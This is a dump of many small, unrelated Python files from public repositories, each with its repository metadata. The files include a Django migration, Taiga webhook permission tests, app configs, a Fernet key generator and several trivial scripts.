#!/usr/bin/python from Solution import Solution obj = Solution() #A = [1,2,3,4] #B = 1 A = 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B = 5692 out = obj.longestSubsequence(A, B) print(out)

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py

Python

VTiger_KPI_Dashboard/cases/migrations/0001_initial.py

roovyshapiro/VTiger_Sales_Dashboard

c20687ed8cd5aea8df6a6868b94389eb3b069d3a

[ "MIT" ]

2

2020-12-15T20:24:14.000Z

2022-01-26T23:56:41.000Z

VTiger_KPI_Dashboard/cases/migrations/0001_initial.py

roovyshapiro/VTiger_Sales_Dashboard

c20687ed8cd5aea8df6a6868b94389eb3b069d3a

[ "MIT" ]

6

2021-04-08T19:35:25.000Z

2021-10-05T00:45:27.000Z

VTiger_KPI_Dashboard/cases/migrations/0001_initial.py

roovyshapiro/VTiger_Sales_Dashboard

c20687ed8cd5aea8df6a6868b94389eb3b069d3a

[ "MIT" ]

13

2021-06-09T20:58:10.000Z

2022-03-21T16:02:42.000Z

# Generated by Django 3.0.3 on 2020-12-14 20:35 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Cases', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('assigned_user_id', models.CharField(max_length=50)), ('case_no', models.CharField(max_length=50)), ('casestatus', models.CharField(max_length=50)), ('contact_id', models.CharField(max_length=50)), ('created_user_id', models.CharField(max_length=50)), ('createdtime', models.DateTimeField()), ('group_id', models.CharField(max_length=50)), ('case_id', models.CharField(max_length=50)), ('modifiedby', models.CharField(max_length=50)), ('modifiedtime', models.DateTimeField()), ('title', models.CharField(max_length=250)), ('time_spent', models.CharField(max_length=50)), ('time_spent_hr', models.CharField(max_length=75)), ('assigned_username', models.CharField(max_length=75)), ('assigned_groupname', models.CharField(max_length=75)), ('case_resolved', models.DateTimeField(null=True)), ('date_created', models.DateTimeField(auto_now_add=True)), ('date_modified', models.DateTimeField(auto_now=True)), ], ), ]

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py

Python

run.py

9uest/shadowsocks-admin

c565518e13ebdeb7821cba62685ca80a380f3815

[ "Apache-2.0" ]

37

2016-05-31T07:00:27.000Z

2022-02-25T16:09:30.000Z

run.py

9uest/shadowsocks-admin

c565518e13ebdeb7821cba62685ca80a380f3815

[ "Apache-2.0" ]

5

2017-04-16T11:39:32.000Z

2018-11-07T08:30:11.000Z

run.py

arrti/shadowsocks-admin

c565518e13ebdeb7821cba62685ca80a380f3815

[ "Apache-2.0" ]

21

2016-05-31T06:59:53.000Z

2020-06-11T07:28:20.000Z

#!/usr/bin/python # -*- coding: utf-8 -*- # author arrti from ss_admin import app if __name__ == '__main__': app.run()

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236

py

Python

maro/__init__.py

VinayaSathyanarayana/maro

0ba55f36d89c235ef3af04efbac78b3885d8695d

[ "MIT" ]

1

2020-09-30T09:31:05.000Z

maro/__init__.py

VinayaSathyanarayana/maro

0ba55f36d89c235ef3af04efbac78b3885d8695d

[ "MIT" ]

null

maro/__init__.py

VinayaSathyanarayana/maro

0ba55f36d89c235ef3af04efbac78b3885d8695d

[ "MIT" ]

null

# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .__misc__ import __version__, __data_version__ from maro.utils.utils import deploy, check_deployment_status if not check_deployment_status(): deploy()

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55a9cd5dab08d3dffd81cb83bd1b5746ed46b544

631

py

Python

filterelement.py

esromneb/sigmath

9c76233021e4062e29d0339630a92ad9ea758bf9

[ "MIT" ]

null

filterelement.py

esromneb/sigmath

9c76233021e4062e29d0339630a92ad9ea758bf9

[ "MIT" ]

null

filterelement.py

esromneb/sigmath

9c76233021e4062e29d0339630a92ad9ea758bf9

[ "MIT" ]

null

## Single ended filter chain element # class FilterElement(object): ## Constructor def __init__(self): self.nextelement = None ##! points at next in chain self.name = "noname" ##! nicename for printing ## Call to input data into the filter def input(self, data, meta=None): return self.down.rxup(data, meta) def output(self, data, meta=None): return self.nextelement.input(data, meta) ## Call this regularly on blocks which impliment it def tick(self): pass ## String classes together with this def set_next(self, n): self.nextelement = n

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e951cdf06724a575ce01a64978b194403e643f8b

14,138

py

Python

tests/integration/resources_permissions/test_webhooks_resources.py

aavcc/taiga-openshift

7c33284573ceed38f755b8159ad83f3f68d2f7cb

[ "MIT" ]

null

tests/integration/resources_permissions/test_webhooks_resources.py

aavcc/taiga-openshift

7c33284573ceed38f755b8159ad83f3f68d2f7cb

[ "MIT" ]

12

2019-11-25T14:08:32.000Z

2021-06-24T10:35:51.000Z

tests/integration/resources_permissions/test_webhooks_resources.py

threefoldtech/Threefold-Circles

cbc433796b25cf7af9a295af65d665a4a279e2d6

[ "Apache-2.0" ]

1

2018-06-07T10:58:15.000Z

# -*- coding: utf-8 -*- # Copyright (C) 2014-2017 Andrey Antukh <niwi@niwi.nz> # Copyright (C) 2014-2017 Jesús Espino <jespinog@gmail.com> # Copyright (C) 2014-2017 David Barragán <bameda@dbarragan.com> # Copyright (C) 2014-2017 Alejandro Alonso <alejandro.alonso@kaleidos.net> # Copyright (C) 2014-2017 Anler Hernández <hello@anler.me> # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from django.core.urlresolvers import reverse from taiga.base.utils import json from taiga.projects import choices as project_choices from taiga.webhooks.serializers import WebhookSerializer from taiga.webhooks.models import Webhook from tests import factories as f from tests.utils import helper_test_http_method, disconnect_signals, reconnect_signals from unittest import mock import pytest pytestmark = pytest.mark.django_db def setup_module(module): disconnect_signals() def teardown_module(module): reconnect_signals() @pytest.fixture def data(): m = type("Models", (object,), {}) m.registered_user = f.UserFactory.create() m.project_owner = f.UserFactory.create() m.project1 = f.ProjectFactory(is_private=True, anon_permissions=[], public_permissions=[], owner=m.project_owner) m.project2 = f.ProjectFactory(is_private=True, anon_permissions=[], public_permissions=[], owner=m.project_owner) m.blocked_project = f.ProjectFactory(is_private=True, anon_permissions=[], public_permissions=[], owner=m.project_owner, blocked_code=project_choices.BLOCKED_BY_STAFF) f.MembershipFactory(project=m.project1, user=m.project_owner, is_admin=True) f.MembershipFactory(project=m.blocked_project, user=m.project_owner, is_admin=True) m.webhook1 = f.WebhookFactory(project=m.project1) m.webhooklog1 = f.WebhookLogFactory(webhook=m.webhook1) m.webhook2 = f.WebhookFactory(project=m.project2) m.webhooklog2 = f.WebhookLogFactory(webhook=m.webhook2) m.blocked_webhook = f.WebhookFactory(project=m.blocked_project) m.blocked_webhooklog = f.WebhookLogFactory(webhook=m.blocked_webhook) return m def test_webhook_retrieve(client, data): url1 = reverse('webhooks-detail', kwargs={"pk": data.webhook1.pk}) url2 = reverse('webhooks-detail', kwargs={"pk": data.webhook2.pk}) blocked_url = reverse('webhooks-detail', kwargs={"pk": data.blocked_webhook.pk}) users = [ None, data.registered_user, data.project_owner ] results = helper_test_http_method(client, 'get', url1, None, users) assert results == [401, 403, 200] results = helper_test_http_method(client, 'get', url2, None, users) assert results == [401, 403, 403] results = helper_test_http_method(client, 'get', blocked_url, None, users) assert results == [401, 403, 200] def test_webhook_update(client, data): url1 = reverse('webhooks-detail', kwargs={"pk": data.webhook1.pk}) url2 = reverse('webhooks-detail', kwargs={"pk": data.webhook2.pk}) blocked_url = reverse('webhooks-detail', kwargs={"pk": data.blocked_webhook.pk}) users = [ None, data.registered_user, data.project_owner ] webhook_data = WebhookSerializer(data.webhook1).data webhook_data["key"] = "test" webhook_data = json.dumps(webhook_data) results = helper_test_http_method(client, 'put', url1, webhook_data, users) assert results == [401, 403, 200] webhook_data = WebhookSerializer(data.webhook2).data webhook_data["key"] = "test" webhook_data = json.dumps(webhook_data) results = helper_test_http_method(client, 'put', url2, webhook_data, users) assert results == [401, 403, 403] webhook_data = WebhookSerializer(data.blocked_webhook).data webhook_data["key"] = "test" webhook_data = json.dumps(webhook_data) results = helper_test_http_method(client, 'put', blocked_url, webhook_data, users) assert results == [401, 403, 451] def test_webhook_delete(client, data): url1 = reverse('webhooks-detail', kwargs={"pk": data.webhook1.pk}) url2 = reverse('webhooks-detail', kwargs={"pk": data.webhook2.pk}) blocked_url = reverse('webhooks-detail', kwargs={"pk": data.blocked_webhook.pk}) users = [ None, data.registered_user, data.project_owner ] results = helper_test_http_method(client, 'delete', url1, None, users) assert results == [401, 403, 204] results = helper_test_http_method(client, 'delete', url2, None, users) assert results == [401, 403, 403] results = helper_test_http_method(client, 'delete', blocked_url, None, users) assert results == [401, 403, 451] def test_webhook_list(client, data): url = reverse('webhooks-list') response = client.get(url) webhooks_data = json.loads(response.content.decode('utf-8')) assert len(webhooks_data) == 0 assert response.status_code == 200 client.login(data.registered_user) response = client.get(url) webhooks_data = json.loads(response.content.decode('utf-8')) assert len(webhooks_data) == 0 assert response.status_code == 200 client.login(data.project_owner) response = client.get(url) webhooks_data = json.loads(response.content.decode('utf-8')) assert len(webhooks_data) == 2 assert response.status_code == 200 def test_webhook_create(client, data): url = reverse('webhooks-list') users = [ None, data.registered_user, data.project_owner ] create_data = json.dumps({ "name": "Test", "url": "http://test.com", "key": "test", "project": data.project1.pk, }) results = helper_test_http_method(client, 'post', url, create_data, users, lambda: Webhook.objects.all().delete()) assert results == [401, 403, 201] create_data = json.dumps({ "name": "Test", "url": "http://test.com", "key": "test", "project": data.project2.pk, }) results = helper_test_http_method(client, 'post', url, create_data, users, lambda: Webhook.objects.all().delete()) assert results == [401, 403, 403] create_data = json.dumps({ "name": "Test", "url": "http://test.com", "key": "test", "project": data.blocked_project.pk, }) results = helper_test_http_method(client, 'post', url, create_data, users, lambda: Webhook.objects.all().delete()) assert results == [401, 403, 451] def test_webhook_patch(client, data): url1 = reverse('webhooks-detail', kwargs={"pk": data.webhook1.pk}) url2 = reverse('webhooks-detail', kwargs={"pk": data.webhook2.pk}) blocked_url = reverse('webhooks-detail', kwargs={"pk": data.blocked_webhook.pk}) users = [ None, data.registered_user, data.project_owner ] patch_data = json.dumps({"key": "test"}) results = helper_test_http_method(client, 'patch', url1, patch_data, users) assert results == [401, 403, 200] patch_data = json.dumps({"key": "test"}) results = helper_test_http_method(client, 'patch', url2, patch_data, users) assert results == [401, 403, 403] patch_data = json.dumps({"key": "test"}) results = helper_test_http_method(client, 'patch', blocked_url, patch_data, users) assert results == [401, 403, 451] def test_webhook_action_test(client, data): url1 = reverse('webhooks-test', kwargs={"pk": data.webhook1.pk}) url2 = reverse('webhooks-test', kwargs={"pk": data.webhook2.pk}) blocked_url = reverse('webhooks-test', kwargs={"pk": data.blocked_webhook.pk}) users = [ None, data.registered_user, data.project_owner ] with mock.patch('taiga.webhooks.tasks._send_request') as _send_request_mock: _send_request_mock.return_value = data.webhooklog1 results = helper_test_http_method(client, 'post', url1, None, users) assert results == [404, 404, 200] assert _send_request_mock.called is True with mock.patch('taiga.webhooks.tasks._send_request') as _send_request_mock: _send_request_mock.return_value = data.webhooklog1 results = helper_test_http_method(client, 'post', url2, None, users) assert results == [404, 404, 404] assert _send_request_mock.called is False with mock.patch('taiga.webhooks.tasks._send_request') as _send_request_mock: _send_request_mock.return_value = data.webhooklog1 results = helper_test_http_method(client, 'post', blocked_url, None, users) assert results == [404, 404, 451] assert _send_request_mock.called is False def test_webhooklogs_list(client, data): url = reverse('webhooklogs-list') response = client.get(url) webhooklogs_data = json.loads(response.content.decode('utf-8')) assert len(webhooklogs_data) == 0 assert response.status_code == 200 client.login(data.registered_user) response = client.get(url) webhooklogs_data = json.loads(response.content.decode('utf-8')) assert len(webhooklogs_data) == 0 assert response.status_code == 200 client.login(data.project_owner) response = client.get(url) webhooklogs_data = json.loads(response.content.decode('utf-8')) assert len(webhooklogs_data) == 2 assert response.status_code == 200 def test_webhooklogs_retrieve(client, data): url1 = reverse('webhooklogs-detail', kwargs={"pk": data.webhooklog1.pk}) url2 = reverse('webhooklogs-detail', kwargs={"pk": data.webhooklog2.pk}) blocked_url = reverse('webhooks-detail', kwargs={"pk": data.blocked_webhook.pk}) users = [ None, data.registered_user, data.project_owner ] results = helper_test_http_method(client, 'get', url1, None, users) assert results == [401, 403, 200] results = helper_test_http_method(client, 'get', url2, None, users) assert results == [401, 403, 403] results = helper_test_http_method(client, 'get', blocked_url, None, users) assert results == [401, 403, 200] def test_webhooklogs_create(client, data): url1 = reverse('webhooklogs-list') url2 = reverse('webhooklogs-list') blocked_url = reverse('webhooklogs-list') users = [ None, data.registered_user, data.project_owner ] results = helper_test_http_method(client, 'post', url1, None, users) assert results == [405, 405, 405] results = helper_test_http_method(client, 'post', url2, None, users) assert results == [405, 405, 405] results = helper_test_http_method(client, 'post', blocked_url, None, users) assert results == [405, 405, 405] def test_webhooklogs_delete(client, data): url1 = reverse('webhooklogs-detail', kwargs={"pk": data.webhooklog1.pk}) url2 = reverse('webhooklogs-detail', kwargs={"pk": data.webhooklog2.pk}) blocked_url = reverse('webhooklogs-detail', kwargs={"pk": data.blocked_webhooklog.pk}) users = [ None, data.registered_user, data.project_owner ] results = helper_test_http_method(client, 'delete', url1, None, users) assert results == [405, 405, 405] results = helper_test_http_method(client, 'delete', url2, None, users) assert results == [405, 405, 405] results = helper_test_http_method(client, 'delete', blocked_url, None, users) assert results == [405, 405, 405] def test_webhooklogs_update(client, data): url1 = reverse('webhooklogs-detail', kwargs={"pk": data.webhooklog1.pk}) url2 = reverse('webhooklogs-detail', kwargs={"pk": data.webhooklog2.pk}) blocked_url = reverse('webhooklogs-detail', kwargs={"pk": data.blocked_webhooklog.pk}) users = [ None, data.registered_user, data.project_owner ] results = helper_test_http_method(client, 'put', url1, None, users) assert results == [405, 405, 405] results = helper_test_http_method(client, 'put', url2, None, users) assert results == [405, 405, 405] results = helper_test_http_method(client, 'put', blocked_url, None, users) assert results == [405, 405, 405] results = helper_test_http_method(client, 'patch', url1, None, users) assert results == [405, 405, 405] results = helper_test_http_method(client, 'patch', url2, None, users) assert results == [405, 405, 405] results = helper_test_http_method(client, 'patch', blocked_url, None, users) assert results == [405, 405, 405] def test_webhooklogs_action_resend(client, data): url1 = reverse('webhooklogs-resend', kwargs={"pk": data.webhooklog1.pk}) url2 = reverse('webhooklogs-resend', kwargs={"pk": data.webhooklog2.pk}) blocked_url = reverse('webhooklogs-resend', kwargs={"pk": data.blocked_webhooklog.pk}) users = [ None, data.registered_user, data.project_owner ] results = helper_test_http_method(client, 'post', url1, None, users) assert results == [404, 404, 200] results = helper_test_http_method(client, 'post', url2, None, users) assert results == [404, 404, 404] results = helper_test_http_method(client, 'post', blocked_url, None, users) assert results == [404, 404, 451]

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null

0

4

e9584f4e6e85f92e8634b724ffb241b57b2e0027

26

py

Python

main.py

marquez5g/git

51f87b719c3da87ef881b354fe7478591b628e3f

[ "MIT" ]

null

main.py

marquez5g/git

51f87b719c3da87ef881b354fe7478591b628e3f

[ "MIT" ]

null

main.py

marquez5g/git

51f87b719c3da87ef881b354fe7478591b628e3f

[ "MIT" ]

null

a = "Hello world" print(a)

13

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null

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4

e97e3735748d36b7e9e397c1c08319676add5b30

140

py

Python

mytestreadImage/mygetImageW.py

ShuailingZhao/mccnn

56040c120b45a3992866fe84c5e7b5b48c32b6bd

[ "BSD-2-Clause" ]

null

mytestreadImage/mygetImageW.py

ShuailingZhao/mccnn

56040c120b45a3992866fe84c5e7b5b48c32b6bd

[ "BSD-2-Clause" ]

null

mytestreadImage/mygetImageW.py

ShuailingZhao/mccnn

56040c120b45a3992866fe84c5e7b5b48c32b6bd

[ "BSD-2-Clause" ]

null

#!/usr/bin/python import sys import cv2 img = cv2.imread(sys.argv[1]) h = img.shape[0] w = img.shape[1] print w #myreadimage(sys.argv[1]);

14

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e987fd53e2e8adaff9e80a2e50eaab923bddbdf3

127

py

Python

object_detection/__init__.py

IVRL/Dunit

0f0d4086b4d8576c11dfac6092b9b60fa4ad7b72

[ "CC0-1.0" ]

25

2020-07-13T17:55:37.000Z

2021-11-12T11:02:48.000Z

object_detection/__init__.py

IVRL/Dunit

0f0d4086b4d8576c11dfac6092b9b60fa4ad7b72

[ "CC0-1.0" ]

5

2020-12-06T07:17:34.000Z

2021-11-22T08:36:31.000Z

object_detection/__init__.py

IVRL/Dunit

0f0d4086b4d8576c11dfac6092b9b60fa4ad7b72

[ "CC0-1.0" ]

1

2020-12-22T02:28:01.000Z

from .drit import DRITObjectDetection from .unit import UNITObjectDetection from .faster_rcnn import FasterRCNNObjectDetection

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null

0

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1

0

4

e98dce138e4042a45d1235375ba36d732b0b76c9

177

py

Python

microblog/apps.py

lukasvinclav/django-microblog

38f34dccdaad066e986efe2ca1ca4dd115dbe626

[ "MIT" ]

2

2019-12-29T21:28:35.000Z

2020-01-07T11:18:40.000Z

microblog/apps.py

lukasvinclav/django-microblog

38f34dccdaad066e986efe2ca1ca4dd115dbe626

[ "MIT" ]

null

microblog/apps.py

lukasvinclav/django-microblog

38f34dccdaad066e986efe2ca1ca4dd115dbe626

[ "MIT" ]

null

from django.apps import AppConfig from django.utils.translation import gettext_lazy as _ class MicroblogConfig(AppConfig): name = 'microblog' verbose_name = _('Blog')

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0

4

e9adc2df7b27f9a5a176e02622860dadf8999bcd

191

py

Python

apps/libro/forms.py

ernestoaguaysol/mysite

3a818e98464bd200acd2cbe6dc0bb03790eab7df

[ "Unlicense" ]

null

apps/libro/forms.py

ernestoaguaysol/mysite

3a818e98464bd200acd2cbe6dc0bb03790eab7df

[ "Unlicense" ]

null

apps/libro/forms.py

ernestoaguaysol/mysite

3a818e98464bd200acd2cbe6dc0bb03790eab7df

[ "Unlicense" ]

null

from django import forms from .models import Autor class AutorForm(forms.ModelForm): class Meta: model = Autor fields = ['nombre','apellido','nacionalidad','descripcion']

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7564ddf48f25aa8cfcf6cd90e66ff39499ae7b3b

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py

Python

whypy/plot/plot_real_and_reciprocal_space.py

alexmoratalla/yambopy

8ec0e1e18868ccaadb3eab36c55e6a47021e257d

[ "BSD-3-Clause" ]

1

2017-04-12T15:38:34.000Z

whypy/plot/plot_real_and_reciprocal_space.py

alexmoratalla/yambopy

8ec0e1e18868ccaadb3eab36c55e6a47021e257d

[ "BSD-3-Clause" ]

null

whypy/plot/plot_real_and_reciprocal_space.py

alexmoratalla/yambopy

8ec0e1e18868ccaadb3eab36c55e6a47021e257d

[ "BSD-3-Clause" ]

null

# # # Plot excitons in BZ # Plot GKKP in BZ # Eventually plot quantities in real space # #

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75667bc74c430d7527ad2d8d2976c7068a6dc0f3

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py

Python

__init__.py

d-nct/graph

46926251def36445aa3f4c5cbef1189d42446072

[ "MIT" ]

null

__init__.py

d-nct/graph

46926251def36445aa3f4c5cbef1189d42446072

[ "MIT" ]

null

__init__.py

d-nct/graph

46926251def36445aa3f4c5cbef1189d42446072

[ "MIT" ]

null

# utf-8

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757916fe1994c7795c3e5df9f0849baa13a67ffa

34

py

Python

tifa/cli/base.py

twocucao/tifa

f703fd27f54000e7d51f06d2456d09cc79e0ab72

[ "MIT" ]

71

2020-04-16T04:28:45.000Z

2022-03-31T22:45:11.000Z

tifa/cli/base.py

twocucao/tifa

f703fd27f54000e7d51f06d2456d09cc79e0ab72

[ "MIT" ]

6

2021-05-13T06:32:38.000Z

2022-03-04T01:18:34.000Z

tifa/cli/base.py

twocucao/tifa

f703fd27f54000e7d51f06d2456d09cc79e0ab72

[ "MIT" ]

12

2021-05-01T08:43:11.000Z

2022-03-29T00:58:54.000Z

import typer cli = typer.Typer()

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75879222401e3cc09fc7e453171d61c80d848f8a

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py

Python

tests/unit/__init__.py

edinhodiluviano/traded

fbb6e0663d66dee48d644f7887743acc55fc3d8f

[ "MIT" ]

null

tests/unit/__init__.py

edinhodiluviano/traded

fbb6e0663d66dee48d644f7887743acc55fc3d8f

[ "MIT" ]

null

tests/unit/__init__.py

edinhodiluviano/traded

fbb6e0663d66dee48d644f7887743acc55fc3d8f

[ "MIT" ]

null

import os os.environ["DATABASE_URL"] = "sqlite://"

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1

0

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0

1

0

1

0

4

75e2d9979454a5819749a370d00ee5bfedf04efd

140

py

Python

script/python3/display/__init__.py

setminami/IrControl

bcdd44b7f6aeca75226cdcfc611dc63032c38949

[ "MIT" ]

null

script/python3/display/__init__.py

setminami/IrControl

bcdd44b7f6aeca75226cdcfc611dc63032c38949

[ "MIT" ]

2

2018-09-21T11:53:28.000Z

2018-12-30T03:37:23.000Z

script/python3/display/__init__.py

setminami/IrControl

bcdd44b7f6aeca75226cdcfc611dc63032c38949

[ "MIT" ]

null

# -*- coding: utf-8 -*- # this made for python3 # how to install luma -> https://www.bluetin.io/displays/oled-display-raspberry-pi-ssd1331/

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f98936c1ebef110201c2c5bf1b76687e4b948e47

50

py

Python

try/test.py

lyltc1/detectron2

5cef58de4d37b746be5aedf6a57c3dfc29342564

[ "Apache-2.0" ]

null

try/test.py

lyltc1/detectron2

5cef58de4d37b746be5aedf6a57c3dfc29342564

[ "Apache-2.0" ]

null

try/test.py

lyltc1/detectron2

5cef58de4d37b746be5aedf6a57c3dfc29342564

[ "Apache-2.0" ]

null

import torch torch.randperm(159826, device='cpu')

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0

1

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0

1

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1

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4

f99093db8043167fe74a9d8a43e904e04f423eda

381

py

Python

deeppavlov/core/agent/agent.py

jalajthanaki/DeepPavlov

8652915056f46d68040c7827151745e9e719227e

[ "Apache-2.0" ]

1

2019-05-19T03:21:55.000Z

deeppavlov/core/agent/agent.py

jalajthanaki/DeepPavlov

8652915056f46d68040c7827151745e9e719227e

[ "Apache-2.0" ]

null

deeppavlov/core/agent/agent.py

jalajthanaki/DeepPavlov

8652915056f46d68040c7827151745e9e719227e

[ "Apache-2.0" ]

null

from typing import List, Dict from deeppavlov.core.models.inferable import Inferable # TODO Create this class dynamically? class Agent(Inferable): def __init__(self, skill_configs: List[Dict], commutator_config: Dict): self.skill_configs = skill_configs self.commutator_config = commutator_config self.history = [] def infer(self): pass

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f99332a93305bb9f79e46c4e315e7c194b3858b6

208

py

Python

py_learning_6_30/learning_unittest.py

Mloser-z/Python_Learning

c0b663faec17349547c8089fc2a918153b675ae9

[ "Apache-2.0" ]

null

py_learning_6_30/learning_unittest.py

Mloser-z/Python_Learning

c0b663faec17349547c8089fc2a918153b675ae9

[ "Apache-2.0" ]

null

py_learning_6_30/learning_unittest.py

Mloser-z/Python_Learning

c0b663faec17349547c8089fc2a918153b675ae9

[ "Apache-2.0" ]

null

import unittest import CheckName class Check(unittest.TestCase): def test_check_name_function(self): full_name = CheckName.get_name() self.assertEqual(full_name, 'Janis Joplin')

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null

0

1

0

1

0

4

f9a850931428a3ca335f6525eabb8c7d03280ce6

112

py

Python

cn_v2/util/config.py

Larryun/coursenotify_v2

e82794ba83d42c2cca9b2dc7c6e6108dcecaba54

[ "MIT" ]

1

2021-03-25T22:16:07.000Z

cn_v2/util/config.py

Larryun/coursenotify_v2

e82794ba83d42c2cca9b2dc7c6e6108dcecaba54

[ "MIT" ]

null

cn_v2/util/config.py

Larryun/coursenotify_v2

e82794ba83d42c2cca9b2dc7c6e6108dcecaba54

[ "MIT" ]

null

import yaml def read_config(filename): with open(filename) as f: return yaml.load(f, yaml.Loader)

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40

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112

4.411765

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41

18.666667

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0.25

false

0

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null

0

1

0

null

0

1

0

1

0

4

dda787102a8080c082f8863bfd57b5dc29c626a1

162

py

Python

deui/html/view/small_element.py

urushiyama/DeUI

14530d2dae7d96a3dee30759f85e02239fb433c5

[ "MIT" ]

1

2021-10-17T01:54:18.000Z

deui/html/view/small_element.py

urushiyama/DeUI

14530d2dae7d96a3dee30759f85e02239fb433c5

[ "MIT" ]

null

deui/html/view/small_element.py

urushiyama/DeUI

14530d2dae7d96a3dee30759f85e02239fb433c5

[ "MIT" ]

null

from .element import Element class Small(Element): """ Represents side-comments and small print. """ def __str__(self): return "small"

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162

5.388889

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0

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false

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0

null

0

null

0

1

0

1

0

4

ddc34920de52e14d4620fb3a76a4b5400491869f

189

py

Python

src/airflow/fernet-key-gen.py

dwdii/emr-airflow

2f54ca438ebf8205955eb06e37ef4f0e86e923e7

[ "Apache-2.0" ]

1

2019-08-30T09:37:17.000Z

src/airflow/fernet-key-gen.py

junqueira/emr-airflow

fb45422e025d9b37e54cab0be5451c7e17390c73

[ "Apache-2.0" ]

null

src/airflow/fernet-key-gen.py

junqueira/emr-airflow

fb45422e025d9b37e54cab0be5451c7e17390c73

[ "Apache-2.0" ]

1

2019-12-31T16:32:47.000Z

# From: https://airflow.apache.org/configuration.html from cryptography.fernet import Fernet fernet_key = Fernet.generate_key() print(fernet_key) # your fernet_key, keep it in secured place

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1

0

null

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1

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4

ddccb752edae18063aa40c18fdc5ebff71e72d9d

150

py

Python

ochestrator_test.py

ElectroMagneticInterference/frc2022-cv

0c5fb99d5b04e2261cf81af066a0ab632ee719b4

[ "MIT" ]

null

ochestrator_test.py

ElectroMagneticInterference/frc2022-cv

0c5fb99d5b04e2261cf81af066a0ab632ee719b4

[ "MIT" ]

null

ochestrator_test.py

ElectroMagneticInterference/frc2022-cv

0c5fb99d5b04e2261cf81af066a0ab632ee719b4

[ "MIT" ]

null

import src.daemon.orchestrator buff_1 = [] buff_2 = [] def process_1(): pass def process_2(): pass src.daemon.orchestrator.orchestrator()

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null

0

1

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0

4

fb0f08a08f8fdff7c3a4b005c139440b7d32fba3

89

py

Python

labeler/apps.py

peppasd/LIT

80e256e7678be3cf3ad72d152005cdb7778545d5

[ "MIT" ]

2

2020-06-05T14:49:11.000Z

2021-07-19T17:50:05.000Z

labeler/apps.py

peppasd/LIT

80e256e7678be3cf3ad72d152005cdb7778545d5

[ "MIT" ]

50

2020-05-29T11:15:33.000Z

2020-07-29T15:30:53.000Z

labeler/apps.py

peppasd/LIT

80e256e7678be3cf3ad72d152005cdb7778545d5

[ "MIT" ]

null

from django.apps import AppConfig class LabelerConfig(AppConfig): name = 'labeler'

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0.752809

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6.7

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0

null

0

1

0

1

0

4

34de50acbd413909bfd49a37f5c05956ddaf63ee

22

py

Python

isort/_version.py

scop/isort

b0007e703a67d0939a4fd123fe594ee04a7a03e5

[ "MIT" ]

4

2021-10-20T12:39:09.000Z

2022-02-26T15:02:08.000Z

isort/_version.py

scop/isort

b0007e703a67d0939a4fd123fe594ee04a7a03e5

[ "MIT" ]

null

isort/_version.py

scop/isort

b0007e703a67d0939a4fd123fe594ee04a7a03e5

[ "MIT" ]

1

2021-10-20T13:47:10.000Z

__version__ = "5.9.3"

11

21

0.636364

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2.5

1

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1

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1

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0

4

34fa5b50c8bb6ab7676167f87d6c827492771af6

41

py

Python

data/studio21_generated/interview/1713/starter_code.py

vijaykumawat256/Prompt-Summarization

614f5911e2acd2933440d909de2b4f86653dc214

[ "Apache-2.0" ]

null

data/studio21_generated/interview/1713/starter_code.py

vijaykumawat256/Prompt-Summarization

614f5911e2acd2933440d909de2b4f86653dc214

[ "Apache-2.0" ]

null

data/studio21_generated/interview/1713/starter_code.py

vijaykumawat256/Prompt-Summarization

614f5911e2acd2933440d909de2b4f86653dc214

[ "Apache-2.0" ]

null

def count_calls(func, *args, **kwargs):

20.5

39

0.682927

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41

4.5

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41

2

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20.5

0.75

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null

0

1

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4

5521e5da4a8df1b779bf17ba044f8f8e3f22dc91

213

py

Python

ectoken/__init__.py

sebest/ectoken-py

abc67a83c5bfb8e5e1663b69f7c03f74411b1c94

[ "BSD-3-Clause" ]

null

ectoken/__init__.py

sebest/ectoken-py

abc67a83c5bfb8e5e1663b69f7c03f74411b1c94

[ "BSD-3-Clause" ]

null

ectoken/__init__.py

sebest/ectoken-py

abc67a83c5bfb8e5e1663b69f7c03f74411b1c94

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'Sebastien Estienne' __email__ = 'sebastien.estienne@gmail.com' __version__ = '0.2' __all__ = ['ectoken_generate'] from ectoken import ectoken_generate

21.3

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9

43

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0

4

9b46d465d386df46a55fc252d75e3e52745c77e0

85

py

Python

django_serializers/opene/otest/apps.py

yc19890920/Learn

3990e75b469225ba7b430539ef9a16abe89eb863

[ "Apache-2.0" ]

1

2021-01-11T06:30:44.000Z

django_serializers/opene/otest/apps.py

yc19890920/Learn

3990e75b469225ba7b430539ef9a16abe89eb863

[ "Apache-2.0" ]

23

2020-02-12T02:35:49.000Z

2022-02-11T03:45:40.000Z

django_serializers/opene/otest/apps.py

yc19890920/Learn

3990e75b469225ba7b430539ef9a16abe89eb863

[ "Apache-2.0" ]

2

2020-04-08T15:39:46.000Z

2020-10-10T10:13:09.000Z

from django.apps import AppConfig class OtestConfig(AppConfig): name = 'otest'

14.166667

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85

6.3

0.9

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85

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4

9b530248db065cad9fb6bba64a741ad40e9d64a7

78

py

Python

test_haystack/test_app_with_hierarchy/__init__.py

nakarinh14/django-haystack

b6dd72e6b5c97b782f5436b7bb4e8227ba6e3b06

[ "BSD-3-Clause" ]

2,021

2015-02-06T07:45:08.000Z

2022-03-30T12:26:39.000Z

test_haystack/test_app_with_hierarchy/__init__.py

nakarinh14/django-haystack

b6dd72e6b5c97b782f5436b7bb4e8227ba6e3b06

[ "BSD-3-Clause" ]

787

2015-02-03T20:06:04.000Z

2022-03-30T09:00:38.000Z

test_haystack/test_app_with_hierarchy/__init__.py

nakarinh14/django-haystack

b6dd72e6b5c97b782f5436b7bb4e8227ba6e3b06

[ "BSD-3-Clause" ]

878

2015-02-04T15:29:50.000Z

2022-03-28T16:51:44.000Z

"""Test app with multiple hierarchy levels above the actual models.py file"""

39

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78

0.895522

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1

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1

0

null

0

1

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4

9b6acd225e375ca66aa5bf2a9b6a3468e5e439c3

89

py

Python

python/packages/cybernetics/__init__.py

mdk/mdk-code-snippets

